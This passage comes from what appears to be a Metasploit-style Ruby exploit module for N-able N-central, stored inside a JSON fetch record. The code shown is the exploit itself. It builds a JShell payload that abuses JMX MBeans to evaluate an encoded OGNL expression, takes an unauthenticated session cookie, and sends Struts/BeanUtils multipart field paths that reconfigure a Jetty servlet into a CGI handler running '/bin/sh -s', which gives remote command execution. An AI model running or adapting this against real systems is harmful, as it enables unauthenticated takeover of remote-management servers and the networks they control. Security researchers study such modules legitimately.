loses the\n    # non-string targetObject while sending the operation description over RMI.\n    <<~JSHELL\n      import java.net.*;\n      import javax.management.*;\n      import javax.management.modelmbean.*;\n      import javax.management.remote.*;\n\n      var #{jshell_identifiers[:jmx_connection]}=JMXConnectorFactory.connect(new JMXServiceURL(\"service:jmx:rmi:///jndi/rmi://127.0.0.1:1099/jmxrmi\"));\n      var #{jshell_identifiers[:mbean_server]}=#{jshell_identifiers[:jmx_connection]}.getMBeanServerConnection();\n      var #{jshell_identifiers[:loader_name]}=new ObjectName(\"ncentral.cleanup:type=MLet,name=#{object_suffix}\");\n      var #{jshell_identifiers[:evaluator_name]}=new ObjectName(\"ncentral.cleanup:type=Evaluator,name=#{object_suffix}\");\n      var #{jshell_identifiers[:ognl_url]}=new URL(\"file:/opt/nable/webapps/ROOT/WEB-INF/lib/ognl-3.3.4.jar\");\n      var #{jshell_identifiers[:javassist_url]}=new URL(\"file:/opt/nable/webapps/ROOT/WEB-INF/lib/javassist-3.26.0-GA.jar\");\n      var #{jshell_identifiers[:target_object]}=new URLClassLoader(new URL[]{#{jshell_identifiers[:ognl_url]},#{jshell_identifiers[:javassist_url]}}).loadClass(\"ognl.ASTConst\").getConstructor(int.class).newInstance(0);\n      var #{jshell_identifiers[:operation_descriptor]}=new ImmutableDescriptor(\n        new String[]{\"name\",\"displayName\",\"descriptorType\",\"class\",\"role\",\"targetType\",\"targetObject\"},\n        new Object[]{\"getValue\",\"getValue\",\"operation\",\"ognl.Ognl\",\"operation\",\"ObjectReference\",#{jshell_identifiers[:target_object]}});\n      var #{jshell_identifiers[:operation_parameters]}=new MBeanParameterInfo[]{\n        new MBeanParameterInfo(\"expression\",\"java.lang.String\",\"OGNL expression\"),\n        new MBeanParameterInfo(\"root\",\"java.lang.Object\",\"OGNL root\")};\n      var #{jshell_identifiers[:operation]}=new ModelMBeanOperationInfo(\"getValue\",\"Evaluate OGNL\",#{jshell_identifiers[:operation_parameters]},\"java.lang.Object\",MBeanOperationInfo.ACTION,#{jshell_identifiers[:operation_descriptor]});\n      var #{jshell_identifiers[:mbean_info]}=new ModelMBeanInfoSupport(\"ognl.Ognl\",\"OGNL evaluator\",null,null,new ModelMBeanOperationInfo[]{#{jshell_identifiers[:operation]}},null);\n      var #{jshell_identifiers[:expression]}=new String(java.util.Base64.getDecoder().decode(\"#{encoded_expression}\"),java.nio.charset.StandardCharsets.UTF_8);\n      try {\n        #{jshell_identifiers[:mbean_server]}.createMBean(\"javax.management.loading.MLet\",#{jshell_identifiers[:loader_name]});\n        #{jshell_identifiers[:mbean_server]}.invoke(#{jshell_identifiers[:loader_name]},\"addURL\",new Object[]{#{jshell_identifiers[:ognl_url]}},new String[]{\"java.net.URL\"});\n        #{jshell_identifiers[:mbean_server]}.invoke(#{jshell_identifiers[:loader_name]},\"addURL\",new Object[]{#{jshell_identifiers[:javassist_url]}},new String[]{\"java.net.URL\"});\n        #{jshell_identifiers[:mbean_server]}.createMBean(\"javax.management.modelmbean.RequiredModelMBean\",#{jshell_identifiers[:evaluator_name]},#{jshell_identifiers[:loader_name]},new Object[]{#{jshell_identifiers[:mbean_info]}},new String[]{\"javax.management.modelmbean.ModelMBeanInfo\"});\n        #{jshell_identifiers[:mbean_server]}.invoke(#{jshell_identifiers[:evaluator_name]},\"getValue\",new Object[]{#{jshell_identifiers[:expression]},0},new String[]{\"java.lang.String\",\"java.lang.Object\"});\n      } finally {\n        try { if(#{jshell_identifiers[:mbean_server]}.isRegistered(#{jshell_identifiers[:evaluator_name]})) #{jshell_identifiers[:mbean_server]}.unregisterMBean(#{jshell_identifiers[:evaluator_name]}); } catch(Exception #{jshell_identifiers[:ignored_exception]}) {}\n        try { if(#{jshell_identifiers[:mbean_server]}.isRegistered(#{jshell_identifiers[:loader_name]})) #{jshell_identifiers[:mbean_server]}.unregisterMBean(#{jshell_identifiers[:loader_name]}); } catch(Exception #{jshell_identifiers[:ignored_exception]}) {}\n        #{jshell_identifiers[:jmx_connection]}.close();\n      }\n    JSHELL\n  end\n\n  def action_uri\n    normalize_uri(target_uri.path, 'remoteControlAction.do')\n  end\n\n  def new_session\n    # This is the attacker's own unauthenticated session, not a stolen or\n    # predicted session. Its only purpose is to make both requests share the\n    # same vulnerable Struts form object. Always request a fresh cookie here:\n    # AutoCheck is optional and its earlier check request does not retain one.\n    res = send_request_cgi(\n      'method' => 'GET',\n      'uri' => action_uri\n    )\n\n    fail_with(Failure::Unreachable, 'The unauthenticated action did not respond.') unless res\n\n    session_cookie = res.get_cookies[/\\bJSESSIONID=[^;\\s]+/]\n\n    fail_with(Failure::UnexpectedReply, \"No JSESSIONID was returned by #{action_uri} (HTTP #{res.code}).\") unless session_cookie\n\n    session_cookie\n  end\n\n  def cgi_mutation_fields(servlet)\n    # Struts passes multipart field names to BeanUtils as JavaBean property\n    # paths. Each dotted component invokes a getter on a live object; the last\n    # component invokes a setter. The root below walks from the helper request's\n    # multipart handler to Jetty's live WebAppContext; the next two strings\n    # extend it to the selected servlet holder.\n    context = 'multipartRequestHandler.servlet.servletContext.classLoader.context'\n\n    handler = \"#{context}.servletHandler\"\n\n    holder = \"#{handler}.servlet(#{servlet})\"\n\n    # These pairs are ordinary multipart names and values, not direct Jetty API\n    # calls. For example, a name ending in servlet(<name>).heldClass makes\n    # BeanUtils call getters until it reaches that live holder, then invoke\n    # setHeldClass(). Because the selected holder has not created its original\n    # servlet yet, the later trigger causes it to instantiate CGI instead.\n    #\n    # The singular initParameter(name) paths deliberately call Jetty's typed\n    # setter. Struts stores multipart text as String arrays; BeanUtils converts a\n    # one-element array for that setter, whereas writing the backing map would\n    # retain the array and later fail Jetty's String cast. commandPrefix starts a\n    # shell that reads the trigger body, while cgibinResourceBaseIsRelative makes\n    # CGI find WEB-INF/web.xml relative to the web-application root.\n    #\n    # CGI calls startAsync(), so its holder and both /* filters must permit\n    # asynchronous processing. These flags do not remove or bypass the filters;\n    # the filters continue operating normally with async support enabled. The\n    # cleanup controller restores them after the last CGI holder is removed;\n    # without cleanup they remain changed until N-central restarts.\n    [\n      [\"#{holder}.heldClass\", 'org.eclipse.jetty.servlets.CGI'],\n      [\"#{holder}.initParameter(commandPrefix)\", '/bin/sh -s'],\n      [\"#{holder}.initParameter(cgibinResourceBaseIsRelative)\", 'true'],\n      [\"#{holder}.asyncSupported\", 'true'],\n      [\"#{handler}.filter(HeaderFilter).asyncSupported\", 'true'],\n      [\"#{handler}.filter(Mapped Diagnostic Context Filter).asyncSupported\", 'true']\n    ]\n  end\nend\n","sha256":"bfc1d81c6373b42c0fc0912dd7f18945ebf806344294bf97f0373fa90321c097","bytes":40204,"fetchedAt":"2026-11-25T16:31:00.352Z","encoding":"utf-8 (display only; download retains original bytes)"}